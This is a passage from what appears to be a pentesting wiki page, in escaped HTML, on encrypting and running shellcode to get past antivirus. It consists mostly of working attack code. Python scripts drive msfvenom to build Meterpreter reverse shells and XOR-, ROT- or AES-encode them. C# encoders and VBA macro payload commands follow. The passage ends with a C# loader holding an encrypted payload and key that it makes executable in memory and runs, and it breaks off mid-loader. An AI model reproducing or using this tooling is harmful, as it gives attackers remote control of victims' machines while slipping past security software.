parser.add_argument(&amp;quot;key&amp;quot;, help=&amp;quot;the key to encode the payload with (integer)&amp;quot;, type=auto_int, nargs=&#039;?&#039;, default=randint(1,255))&lt;br /&gt;
parser.add_argument(&amp;quot;payload&amp;quot;, help=&amp;quot;the payload type from msfvenom to generate shellcode for (default: windows/x64/meterpreter/reverse_tcp)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;windows/x64/meterpreter/reverse_tcp&amp;quot;)&lt;br /&gt;
args = parser.parse_args()&lt;br /&gt;
# Generate the shellcode given the preferred payload&lt;br /&gt;
print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Generating payload {bcolors.OKGREEN}{args.payload}{bcolors.OKBLUE} for LHOST={bcolors.OKGREEN}{args.lhost}{bcolors.OKBLUE} and LPORT={bcolors.OKGREEN}{args.lport}{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
result = subprocess.run([&#039;msfvenom&#039;, &#039;-p&#039;, args.payload, f&amp;quot;LHOST={args.lhost}&amp;quot;, f&amp;quot;LPORT={args.lport}&amp;quot;, &#039;exitfunc=thread&#039;, &amp;quot;-f&amp;quot;, &amp;quot;csharp&amp;quot;], stdout=subprocess.PIPE)&lt;br /&gt;
if result.returncode != 0:&lt;br /&gt;
    exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Msfvenom generation unsuccessful. Are you sure msfvenom is installed?{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
# Get the payload bytes and split them&lt;br /&gt;
payload = re.search(r&amp;quot;{([^}]+)}&amp;quot;, result.stdout.decode(&amp;quot;utf-8&amp;quot;)).group(1).replace(&#039;\n&#039;, &#039;&#039;).split(&amp;quot;,&amp;quot;)&lt;br /&gt;
# Format the output payload&lt;br /&gt;
if args.format == &amp;quot;cs&amp;quot;:&lt;br /&gt;
    # Encode the payload with the chosen type and key&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Encoding payload with type {bcolors.OKGREEN}{args.encoding}{bcolors.OKBLUE} and key {bcolors.OKGREEN}{args.key}{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    for i, byte in enumerate(payload):&lt;br /&gt;
        byteInt = int(byte, 16)&lt;br /&gt;
        if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
            byteInt = byteInt ^ args.key&lt;br /&gt;
        elif args.encoding == &amp;quot;rot&amp;quot;:&lt;br /&gt;
            byteInt = byteInt + args.key &amp;amp; 255&lt;br /&gt;
        else:&lt;br /&gt;
            exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid encoding type.{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        payload[i] = &amp;quot;{0:#0{1}x}&amp;quot;.format(byteInt,4)&lt;br /&gt;
    payLen = len(payload)&lt;br /&gt;
    payload = re.sub(&amp;quot;(.{65})&amp;quot;, &amp;quot;\\1\n&amp;quot;, &#039;,&#039;.join(payload), 0, re.DOTALL)&lt;br /&gt;
    payloadFormatted = f&amp;quot;// msfvenom -p {args.payload} LHOST={args.lhost} LPORT={args.lport} EXITFUNC=thread -f csharp\n&amp;quot;&lt;br /&gt;
    payloadFormatted += f&amp;quot;// {args.encoding}-encoded with key {hex(args.key)}\n&amp;quot;&lt;br /&gt;
    payloadFormatted += f&amp;quot;byte[] buf = new byte[{str(payLen)}] {{\n{payload.strip()}\n}};&amp;quot;&lt;br /&gt;
    if payLen &amp;gt; 1000:&lt;br /&gt;
        f = open(&amp;quot;/tmp/payload.txt&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
        f.write(payloadFormatted)&lt;br /&gt;
        f.close()&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload written to &#039;/tmp/payload.txt&#039; in CSharp format!{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload (CSharp):{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        print(payloadFormatted + &amp;quot;\n&amp;quot;)&lt;br /&gt;
    # Provide the decoding function for the heck of it&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;for (int i = 0; i  1000:&lt;br /&gt;
        f = open(&amp;quot;/tmp/payload.txt&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
        f.write(payloadFormatted)&lt;br /&gt;
        f.close()&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload written to &#039;/tmp/payload.txt&#039; in C++ format!{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload (C++):{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        print(payloadFormatted + &amp;quot;\n&amp;quot;)&lt;br /&gt;
    # Provide the decoding function for the heck of it&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] ^ {hex(args.key)});&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    if args.encoding == &amp;quot;rot&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] - {hex(args.key)} &amp;amp; 255);&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    print(decodingFunc)&lt;br /&gt;
else:&lt;br /&gt;
    exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid formatting type (choose &#039;cs&#039; for CSharp or &#039;cpp&#039; for C++).{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AES ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Security.Cryptography;&lt;br /&gt;
public class AesEncryptionExample&lt;br /&gt;
{&lt;br /&gt;
    public static void Main()&lt;br /&gt;
    {&lt;br /&gt;
        byte[] shellcode = new byte[] { /* Your shellcode goes here */ };&lt;br /&gt;
        byte[] key = Encoding.UTF8.GetBytes(&amp;quot;0123456789ABCDEF0123456789ABCDEF&amp;quot;); // 32-byte key&lt;br /&gt;
        byte[] iv = Encoding.UTF8.GetBytes(&amp;quot;0123456789ABCDEF&amp;quot;); // 16-byte IV&lt;br /&gt;
        byte[] encryptedShellcode = EncryptShellcode(shellcode, key, iv);&lt;br /&gt;
        string encryptedHex = BitConverter.ToString(encryptedShellcode).Replace(&amp;quot;-&amp;quot;, &amp;quot;&amp;quot;);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Encrypted shellcode hex: &amp;quot; + encryptedHex);&lt;br /&gt;
    }&lt;br /&gt;
    public static byte[] EncryptShellcode(byte[] shellcode, byte[] key, byte[] iv)&lt;br /&gt;
    {&lt;br /&gt;
        byte[] encrypted;&lt;br /&gt;
        using (AesManaged aes = new AesManaged())&lt;br /&gt;
        {&lt;br /&gt;
            aes.Key = key;&lt;br /&gt;
            aes.IV = iv;&lt;br /&gt;
            ICryptoTransform encryptor = aes.CreateEncryptor(aes.Key, aes.IV);&lt;br /&gt;
            encrypted = encryptor.TransformFinalBlock(shellcode, 0, shellcode.Length);&lt;br /&gt;
        }&lt;br /&gt;
        return encrypted;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AES python helper ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/plackyhacker/Shellcode-Encryptor/blob/master/shellcode_encryptor.py Shellcode-Encryptor/shellcode_encryptor.py at master · plackyhacker/Shellcode-Encryptor (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/env python3&lt;br /&gt;
import array, base64, random, string&lt;br /&gt;
from Crypto.Cipher import AES&lt;br /&gt;
from hashlib import sha256&lt;br /&gt;
import argparse, subprocess, os&lt;br /&gt;
def main():&lt;br /&gt;
	args = parse_args()&lt;br /&gt;
	lhost = args.lhost&lt;br /&gt;
	lport = args.lport&lt;br /&gt;
	key = args.key&lt;br /&gt;
	if not key:&lt;br /&gt;
		key = get_random_string(32)&lt;br /&gt;
	payload = args.payload&lt;br /&gt;
	method = args.method&lt;br /&gt;
	format = args.format&lt;br /&gt;
	&#039;&#039;&#039; generate msfvenom payload &#039;&#039;&#039;&lt;br /&gt;
	print(&amp;quot;[+] Generating MSFVENOM payload...&amp;quot;)&lt;br /&gt;
	result = subprocess.run([&#039;msfvenom&#039;,&lt;br /&gt;
		&#039;-p&#039;, payload,&lt;br /&gt;
		&#039;LPORT=&#039; + lport,&lt;br /&gt;
		&#039;LHOST=&#039; + lhost,&lt;br /&gt;
#		&#039;-b&#039;, &#039;\\x00&#039;,&lt;br /&gt;
		&#039;-f&#039;, &#039;raw&#039;,&lt;br /&gt;
		&#039;-o&#039;, &#039;./msf.bin&#039;],&lt;br /&gt;
		capture_output=False)&lt;br /&gt;
	f = open(&amp;quot;./msf.bin&amp;quot;, &amp;quot;rb&amp;quot;)&lt;br /&gt;
	buf = f.read()&lt;br /&gt;
	f.close()&lt;br /&gt;
	print(&amp;quot;[+] key and payload will be written to key.b64 and payload.b64&amp;quot;)&lt;br /&gt;
	&#039;&#039;&#039; encrypt the payload &#039;&#039;&#039;&lt;br /&gt;
	print(&amp;quot;[+] Encrypting the payload, key=&amp;quot; + key + &amp;quot;...&amp;quot;)&lt;br /&gt;
	hkey = hash_key(key)&lt;br /&gt;
	encrypted = encrypt(hkey, hkey[:16], buf)&lt;br /&gt;
	b64 = base64.b64encode(encrypted)&lt;br /&gt;
	f = open(&amp;quot;./key.b64&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
	f.write(key)&lt;br /&gt;
	f.close()&lt;br /&gt;
	f = open(&amp;quot;./payload.b64&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
	f.write(b64.decode(&#039;utf-8&#039;))&lt;br /&gt;
	f.close()&lt;br /&gt;
	if format == &amp;quot;b64&amp;quot;:&lt;br /&gt;
		&#039;&#039;&#039; base64 output &#039;&#039;&#039;&lt;br /&gt;
		print(&amp;quot;[+] Base64 output:&amp;quot;)&lt;br /&gt;
		print(b64.decode(&#039;utf-8&#039;))&lt;br /&gt;
		print(&amp;quot;\n[+] Have a nice day!&amp;quot;)&lt;br /&gt;
		return&lt;br /&gt;
	if format == &amp;quot;c&amp;quot;:&lt;br /&gt;
		&#039;&#039;&#039; c output &#039;&#039;&#039;&lt;br /&gt;
		print(&amp;quot;[+] C output:&amp;quot;)&lt;br /&gt;
		hex_string = &#039;unsigned char payload[] ={0x&#039;;&lt;br /&gt;
		hex = &#039;0x&#039;.join(&#039;{:02x},&#039;.format(x) for x in encrypted)&lt;br /&gt;
		hex_string = hex_string + hex[:-1] + &amp;quot;};&amp;quot;&lt;br /&gt;
		print(hex_string)&lt;br /&gt;
		print(&amp;quot;\n[+] Have a nice day!&amp;quot;)&lt;br /&gt;
		return&lt;br /&gt;
def encrypt(key,iv,plaintext):&lt;br /&gt;
	key_length = len(key)&lt;br /&gt;
	if (key_length &amp;gt;= 32):&lt;br /&gt;
		k = key[:32]&lt;br /&gt;
	elif (key_length &amp;gt;= 24):&lt;br /&gt;
		k = key[:24]&lt;br /&gt;
	else:&lt;br /&gt;
		k = key[:16]&lt;br /&gt;
	aes = AES.new(k, AES.MODE_CBC, iv)&lt;br /&gt;
	pad_text = pad(plaintext, 16)&lt;br /&gt;
	return aes.encrypt(pad_text)&lt;br /&gt;
def hash_key(key):&lt;br /&gt;
	h = &#039;&#039;&lt;br /&gt;
	for c in key:&lt;br /&gt;
		h += hex(ord(c)).replace(&amp;quot;0x&amp;quot;, &amp;quot;&amp;quot;)&lt;br /&gt;
	h = bytes.fromhex(h)&lt;br /&gt;
	hashed = sha256(h).digest()&lt;br /&gt;
	return hashed&lt;br /&gt;
def pad(data, block_size):&lt;br /&gt;
	padding_size = (block_size - len(data)) % block_size&lt;br /&gt;
	if padding_size == 0:&lt;br /&gt;
		padding_size = block_size&lt;br /&gt;
	padding = (bytes([padding_size]) * padding_size)&lt;br /&gt;
	return data + padding&lt;br /&gt;
def parse_args():&lt;br /&gt;
	parser = argparse.ArgumentParser()&lt;br /&gt;
	parser.add_argument(&amp;quot;-l&amp;quot;, &amp;quot;--lport&amp;quot;, default=&amp;quot;0.0.0.0&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The local port that msfconsole is listening on.&amp;quot;)&lt;br /&gt;
	parser.add_argument(&amp;quot;-i&amp;quot;, &amp;quot;--lhost&amp;quot;, default=&amp;quot;443&amp;quot;, type=str,&lt;br /&gt;
			help=&amp;quot;The local host that msfconsole is listening on.&amp;quot;)&lt;br /&gt;
	parser.add_argument(&amp;quot;-p&amp;quot;, &amp;quot;--payload&amp;quot;, default = &amp;quot;windows/x64/meterpreter/reverse_https&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The payload to generate in msfvenom.&amp;quot;)&lt;br /&gt;
	parser.add_argument(&amp;quot;-m&amp;quot;, &amp;quot;--method&amp;quot;, default=&amp;quot;thread&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The method to use: thread/delegate.&amp;quot;)&lt;br /&gt;
	parser.add_argument(&amp;quot;-k&amp;quot;, &amp;quot;--key&amp;quot;, default=&amp;quot;&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The encryption key (32 chars).&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
	parser.add_argument(&amp;quot;-f&amp;quot;, &amp;quot;--format&amp;quot;, default=&amp;quot;b64&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The format to output.&amp;quot;)&lt;br /&gt;
	return parser.parse_args()&lt;br /&gt;
def get_random_string(length):&lt;br /&gt;
	letters = string.ascii_letters + string.digits&lt;br /&gt;
	result_str = &#039;&#039;.join(random.choice(letters) for i in range(length))&lt;br /&gt;
	return result_str&lt;br /&gt;
if __name__ == &#039;__main__&#039;:&lt;br /&gt;
	main()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Ceasar ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;CSharp shellcode &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Collections.Generic;&lt;br /&gt;
using System.Linq;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading.Tasks;&lt;br /&gt;
namespace ConsoleApp25&lt;br /&gt;
{&lt;br /&gt;
    internal class FileName&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            byte[] buf = new byte[510] {0xfc.....};&lt;br /&gt;
&lt;br /&gt;
            byte[] encoded = new byte[buf.Length];&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                // For the current byte in &#039;buf&#039;:&lt;br /&gt;
                // 1. Cast the byte to a uint (unsigned integer).&lt;br /&gt;
                // 2. Add 2 to its value.&lt;br /&gt;
                // 3. Perform a bitwise AND operation with 0xFF to ensure the result stays within a byte&#039;s range (0-255).&lt;br /&gt;
                // 4. Assign the result to the corresponding position in the &#039;encoded&#039; array.&lt;br /&gt;
                encoded[i] = (byte)(((uint)buf[i] + 2) &amp;amp; 0xFF);&lt;br /&gt;
            }&lt;br /&gt;
            StringBuilder hex = new StringBuilder(encoded.Length * 2);&lt;br /&gt;
            foreach (byte b in encoded)&lt;br /&gt;
            {&lt;br /&gt;
                hex.AppendFormat(&amp;quot;0x{0:x2}, &amp;quot;, b);&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine(&amp;quot;The payload is: &amp;quot; + hex.ToString());&lt;br /&gt;
            // Rest of your code...&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;VBA Shellcode &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Text;&lt;br /&gt;
namespace XorCoder&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Sample shellcode (replace with your own)&lt;br /&gt;
            byte[] buf = { /* your shellcode byte array here */ };&lt;br /&gt;
            // Encode using Caesar cipher by adding 2 to each byte&lt;br /&gt;
            byte[] encoded = new byte[buf.Length];&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                encoded[i] = (byte)(((uint)buf[i] + 2) &amp;amp; 0xFF);&lt;br /&gt;
            }&lt;br /&gt;
            StringBuilder hex = new StringBuilder(encoded.Length * 2);&lt;br /&gt;
            uint counter = 0;  // Initialize counter&lt;br /&gt;
            foreach (byte b in encoded)&lt;br /&gt;
            {&lt;br /&gt;
                hex.AppendFormat(&amp;quot;{0:D}, &amp;quot;, b);&lt;br /&gt;
                counter++;&lt;br /&gt;
                if (counter % 50 == 0)&lt;br /&gt;
                {&lt;br /&gt;
                    hex.AppendFormat(&amp;quot;_{0}&amp;quot;, Environment.NewLine);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine(&amp;quot;The payload is: &amp;quot;);&lt;br /&gt;
            Console.WriteLine(hex.ToString());&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== XOR ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;CSharp &#039;&#039;&#039;- Encrypt csharp shellcode&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f csharp&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Collections.Generic;&lt;br /&gt;
using System.Linq;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading.Tasks;&lt;br /&gt;
namespace XorCoder&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp&lt;br /&gt;
            byte[] buf = new byte[511] {&lt;br /&gt;
            0xfc,0x48,0x83,0xe4 };&lt;br /&gt;
            // Encode the payload with XOR (fixed key)&lt;br /&gt;
            byte[] encoded = new byte[buf.Length];&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                encoded[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
            }&lt;br /&gt;
            StringBuilder hex = new StringBuilder(encoded.Length * 2);&lt;br /&gt;
            int totalCount = encoded.Length;&lt;br /&gt;
            for (int count = 0; count &amp;lt; totalCount; count++)&lt;br /&gt;
            {&lt;br /&gt;
                byte b = encoded[count];&lt;br /&gt;
                if ((count + 1) == totalCount) // Dont append comma for last item&lt;br /&gt;
                {&lt;br /&gt;
                    hex.AppendFormat(&amp;quot;0x{0:x2}&amp;quot;, b);&lt;br /&gt;
                }&lt;br /&gt;
                else&lt;br /&gt;
                {&lt;br /&gt;
                    hex.AppendFormat(&amp;quot;0x{0:x2}, &amp;quot;, b);&lt;br /&gt;
                }&lt;br /&gt;
                if ((count + 1) % 15 == 0)&lt;br /&gt;
                {&lt;br /&gt;
                    hex.Append(&amp;quot;\n&amp;quot;);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine($&amp;quot;XOR payload (key: 0xfa):&amp;quot;);&lt;br /&gt;
            Console.WriteLine($&amp;quot;byte[] buf = new byte[{buf.Length}] {{\n{hex}\n}};&amp;quot;);&lt;br /&gt;
            //// Decode the XOR payload&lt;br /&gt;
            //for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            //{&lt;br /&gt;
            //    buf[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
            //}&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;VBA shellcode - &#039;&#039;&#039; Encrypt VBA shellcode&lt;br /&gt;
&lt;br /&gt;
REMEMBER - Check if Word is running 32-bit or 64-bit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f vbapplication&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Text;&lt;br /&gt;
namespace XorCoder&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Sample shellcode (replace with your own)&lt;br /&gt;
            byte[] buf = { 252, 72, 131, 228, 240, 232, 204, 0, 0, 0, 65, 81, 65, 80, 82, 81, 72, 49, 210, 101, 72, 139 };&lt;br /&gt;
            // XOR encryption&lt;br /&gt;
            byte[] encoded = new byte[buf.Length];&lt;br /&gt;
            byte XORKey = 250;&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                encoded[i] = (byte)(buf[i] ^ XORKey);&lt;br /&gt;
            }&lt;br /&gt;
            StringBuilder hex = new StringBuilder(encoded.Length * 2);&lt;br /&gt;
            int counter = 0;  // Initialize counter&lt;br /&gt;
            foreach (byte b in encoded)&lt;br /&gt;
            {&lt;br /&gt;
                hex.AppendFormat(&amp;quot;{0:D}, &amp;quot;, b);&lt;br /&gt;
                counter++;&lt;br /&gt;
                if (counter % 50 == 0)&lt;br /&gt;
                {&lt;br /&gt;
                    hex.AppendFormat(&amp;quot;_{0}&amp;quot;, Environment.NewLine);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine(&amp;quot;The XOR encoded payload is: &amp;quot;);&lt;br /&gt;
            Console.WriteLine(hex.ToString());&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Running encrypted shellcodes ===&lt;br /&gt;
&lt;br /&gt;
==== AES - Using python helper ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/plackyhacker/Shellcode-Encryptor/tree/master plackyhacker/Shellcode-Encryptor: A simple shell code encryptor/decryptor/executor to bypass anti virus. (github.com)]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/plackyhacker/Shellcode-Injection-Techniques/tree/master plackyhacker/Shellcode-Injection-Techniques: A collection of C# shellcode injection techniques. All techniques use an AES encrypted meterpreter payload. I will be building this project up as I learn, discover or develop more techniques. Some techniques are better than others at bypassing AV. (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Security.Cryptography;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.IO;&lt;br /&gt;
namespace ProcessInjection&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        public enum Protection&lt;br /&gt;
        {&lt;br /&gt;
            PAGE_NOACCESS = 0x01,&lt;br /&gt;
            PAGE_READONLY = 0x02,&lt;br /&gt;
            PAGE_READWRITE = 0x04,&lt;br /&gt;
            PAGE_WRITECOPY = 0x08,&lt;br /&gt;
            PAGE_EXECUTE = 0x10,&lt;br /&gt;
            PAGE_EXECUTE_READ = 0x20,&lt;br /&gt;
            PAGE_EXECUTE_READWRITE = 0x40,&lt;br /&gt;
            PAGE_EXECUTE_WRITECOPY = 0x80,&lt;br /&gt;
            PAGE_GUARD = 0x100,&lt;br /&gt;
            PAGE_NOCACHE = 0x200,&lt;br /&gt;
            PAGE_WRITECOMBINE = 0x400&lt;br /&gt;
        }&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);&lt;br /&gt;
        private delegate Int32 ShellcodeDelegate();&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            Shellcode();&lt;br /&gt;
        }&lt;br /&gt;
        static void Shellcode()&lt;br /&gt;
        {&lt;br /&gt;
            // attempt heuristics/behaviour bypass&lt;br /&gt;
            IntPtr mem = VirtualAllocExNuma(System.Diagnostics.Process.GetCurrentProcess().Handle, IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);&lt;br /&gt;
            if (mem == null)&lt;br /&gt;
            {&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // decrypt the base64 payload - change these to your own encrypted payload and key&lt;br /&gt;
            string payload = &amp;quot;sZkMiiTitR5hQL2YXTBgjq91qq0FuEqgfR7YiKt2N1IZ8vqW3q/BrIYTjBb7nKLXCsJM25sRqh+R9WHGNsTV8webqwx7ZfAYSvlmEmzIJcKaBVdJO+Lbr7h9RomrOdyaPUAZ6P49lnsZFF1fdvnFOg/WvSdKUrx/eKEt5sNBn/Jz43y26mDEwEEqseydPQHyBcT9Av/ZkTQC6GZU8D+pQhKvXNdnlGrHJk4+G25me/Hzr0P1YuX9ZpGbyXb/pLdmdViAGAPtA/OORVt6xmij4AY24j8SLocUs2A6lSJZHYD2C1+DIc1Lyw8UJ6dtNIU2xDtsHCWX0OlkcjU+QoYpCavs78Y+OePjyBwkryWTzMyuKBgAREjbQQdsIn6dQZeqk/tKI/l6Fmhu27V+wFX7mxUP/KXWf9PI/3QYiuLmkJCWFBL9sINPbLVLePFSke8Ik3t+vp5SIcM+wMufg+TXBdUNpE//gTgCpblXdJfkkqVpMFBxnfX2vYPDcFLWteiNsnHCn9REbVB3MqJe5T55tO/CLq1KkZ2R7Z7rra6H8OhJgOLKEdJ/XHdZV9IFatAtRW2dxVo49P2YFmux2WSDiKhVRoCuLMVM6PeTuzsN+2qV4Zrq6tRAVLwmmTn5uflWER1aScePh6+6utXW/0jS+Hz7KiGP2//8+YDwzYbkLJnfn9B4AdmE4BuNTJRrv7tumsxboNkmWOx87lVElzn5ZM9OP721s8LiSyfkD1zm4o9j2u80syPeEU3PXvOU1epBTsTjdwRWlAYF+wzv3olAjPzR/xojjB602MIUNeCPn4fqDp6NjEokELcgawbWNl1vKYo4QEYgtlhVmqIkk2ooz527AEQb5EWQhkaZEWr4AAmGO1YfvYDCTcfUwV9p/jkg&amp;quot;;&lt;br /&gt;
            string key = &amp;quot;fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec&amp;quot;;&lt;br /&gt;
            byte[] buf = Decrypt(key, payload);&lt;br /&gt;
            unsafe&lt;br /&gt;
            {&lt;br /&gt;
                fixed(byte* ptr = buf)&lt;br /&gt;
                {&lt;br /&gt;
                    // set the memory as executable and execute the function pointer (as a delegate)&lt;br /&gt;
                    IntPtr memoryAddress = (IntPtr)ptr;&lt;br /&gt;
                    VirtualProtect(memoryAddress, (UIntPtr)buf.Length, (UInt32)Protection.PAGE_EXECUTE_READWRITE, out uint lpfOldProtect);&lt;br /&gt;
